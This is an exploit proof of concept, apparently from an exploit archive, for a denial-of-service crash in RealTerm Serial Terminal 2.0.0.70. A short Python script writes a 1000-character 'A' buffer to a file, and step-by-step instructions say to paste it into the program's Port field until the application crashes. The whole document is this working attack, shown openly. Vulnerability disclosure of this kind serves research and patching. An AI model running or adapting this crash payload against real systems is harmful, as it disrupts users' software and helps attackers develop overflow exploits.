RealTerm Serial Terminal 2.0.0.70 Denial Of Service

`# -*- coding: utf-8 -*-  
# Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Port' Denial of Service (PoC)  
# Date: 15/02/2019  
# Author: Alejandra SA!nchez  
# Vendor Homepage: https://realterm.sourceforge.io/  
# Software Link: https://sourceforge.net/projects/realterm/files/   
# Version: 2.0.0.70  
# Tested on: Windows 10  
  
# Proof of Concept:  
# 1.- Run the python script "RealTerm.py", it will create a new file "PoC.txt"  
# 2.- Copy the content of the new file 'PoC.txt' to clipboard  
# 3.- Open realterm.exe   
# 4.- Go to 'Port' tab  
# 5.- Paste clipboard in 'Port' field  
# 6.- Click on button -> open  
# 7.- Crashed  
  
buffer = "\x41" * 1000  
f = open ("PoC.txt", "w")  
f.write(buffer)  
f.close()  
`